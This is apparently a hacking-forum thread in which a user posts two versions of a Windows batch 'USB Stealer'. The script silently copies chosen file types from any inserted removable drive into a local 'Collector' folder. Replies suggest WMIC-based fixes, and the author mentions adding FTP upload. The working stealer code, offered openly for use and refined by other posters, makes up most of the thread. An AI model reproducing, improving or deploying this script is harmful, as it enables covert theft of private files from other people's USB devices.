[Sphere of Madness]

Hello,

here is simple USB stealer that copy files from removable devices to local dump.

Suggestions are welcomed :)

Yet Another USB Stealer v0.1
* supports filetype filter

Code

::
:: USB Stealer v0.1
:: Sphere of Madness / HF
::

@echo off
SETLOCAL

:: Home directory where files are copied
set _home=%UserProfile%\Collector

:: Filetypes to steal
:: Change to *.* if you want steal everything
set _filetypes=*.txt *.doc *.jpg

:: Create home directory

If not exist "%_home%" (
    mkdir "%_home%"
)

:: GetDate.cmd
:: ss64.com/nt/syntax-getdate.html

:: Check WMIC is available
WMIC.EXE Alias /? >NUL 2>&1 || GOTO s_error

:: Use WMIC to retrieve date and time
FOR /F "skip=1 tokens=1-6" %%G IN ('WMIC Path Win32_LocalTime Get Day^,Hour^,Minute^,Month^,Second^,Year /Format:table') DO (
   IF "%%~L"=="" goto s_done
      Set _yyyy=%%L
      Set _mm=00%%J
      Set _dd=00%%G
      Set _hour=00%%H
      SET _minute=00%%I
)
:s_done

:: Pad digits with leading zeros
      Set _mm=%_mm:~-2%
      Set _dd=%_dd:~-2%
      Set _hour=%_hour:~-2%
      Set _minute=%_minute:~-2%

:: Display the date/time in ISO 8601 format:
Set _isodate=%_yyyy%-%_mm%-%_dd%__%_hour%_%_minute%
goto scan

:s_error
:: Create random numbers if WMIC is NOT available
Set _isodate=%random%

:: End of GetDate.cmd

:: Scan for USB devices and copy defined filetypes to home directory

:scan
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
   for %%c in (%%b) do (
      for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
         if %%d equ Removable (
            robocopy %%c "%_home%\%_isodate%" %_filetypes% /E >NUL
         )
      )
   )
)

[Abducted]

Why not to make one in some real programming language though?

[Sphere of Madness]

I know to code in mIRC is that enough real?

[Hackoo]

Hi ✌
I took just this part to test on my french windows 7 but this dosen't work for me :

Code

:scan
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
   for %%c in (%%b) do (
      for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        echo %%d & pause
         if %%d equ Removable (
          echo  robocopy %%c "%_home%\%_isodate%" %_filetypes% /E >NUL
         )
      )
   )
)
pause

So i will recommend you to change this part to be more universel for all users !
I recommend you to use WMIC to find the connected Removable drive !

[Sphere of Madness]

@Hackoo, you must be Admin to use "fsutil" but you are right, will switch code to use wmic on next version, also i have in mind FTP upload :D

[Hackoo]

@Hackoo, you must be Admin to use "fsutil" but you are right, will switch code to use wmic on next version, also i have in mind FTP upload :D

Try to use this piece of code :

Code

for /f "tokens=2" %%i in ('wmic logicaldisk where "drivetype=2" ^|find /i ":"') do (Set MyUSB=%%i)

---

i have in mind FTP upload :D

it's aleardy done with a vbscript since 2009 😉 😁
Files-Stealer by Hackoo

[x4x552]

thank you bro for sharing :)

[Sphere of Madness]

Yet Another USB Stealer v0.2 reduced extra code
all function changed to WMIC

Code

::
:: USB Stealer v0.2
:: Sphere of Madness / HF
::

@echo off
SETLOCAL

:: Home directory where files are copied
set _home=%UserProfile%\Collector

:: Filetypes to steal
set _filetypes=*.txt *.doc *.jpg

:: GetDate.cmd
:: ss64.com/nt/syntax-getdate.html

:: Check WMIC is available
WMIC.EXE Alias /? >NUL 2>&1 || GOTO s_error

:: Use WMIC to retrieve date and time
FOR /F "skip=1 tokens=1-6" %%G IN ('WMIC Path Win32_LocalTime Get Day^,Hour^,Minute^,Month^,Second^,Year /Format:table') DO (
   IF "%%~L"=="" goto s_done
      Set _yyyy=%%L
      Set _mm=00%%J
      Set _dd=00%%G
      Set _hour=00%%H
      SET _minute=00%%I
)
:s_done

:: Pad digits with leading zeros
      Set _mm=%_mm:~-2%
      Set _dd=%_dd:~-2%
      Set _hour=%_hour:~-2%
      Set _minute=%_minute:~-2%

:: Display the date/time in ISO 8601 format:
Set _isodate=%_yyyy%-%_mm%-%_dd%__%_hour%-%_minute%

:: End of GetDate.cmd

:: Scan for USB devices and copy defined filetypes to home directory

for /f "tokens=1" %%i in ('wmic logicaldisk where "drivetype=2" get deviceid ^|find /i ":"') do (robocopy %%i "%_home%\%_isodate%" %_filetypes% /E >NUL)

goto :EOF

:s_error
:: WMIC is NOT available
echo WMIC is missing, copy failed!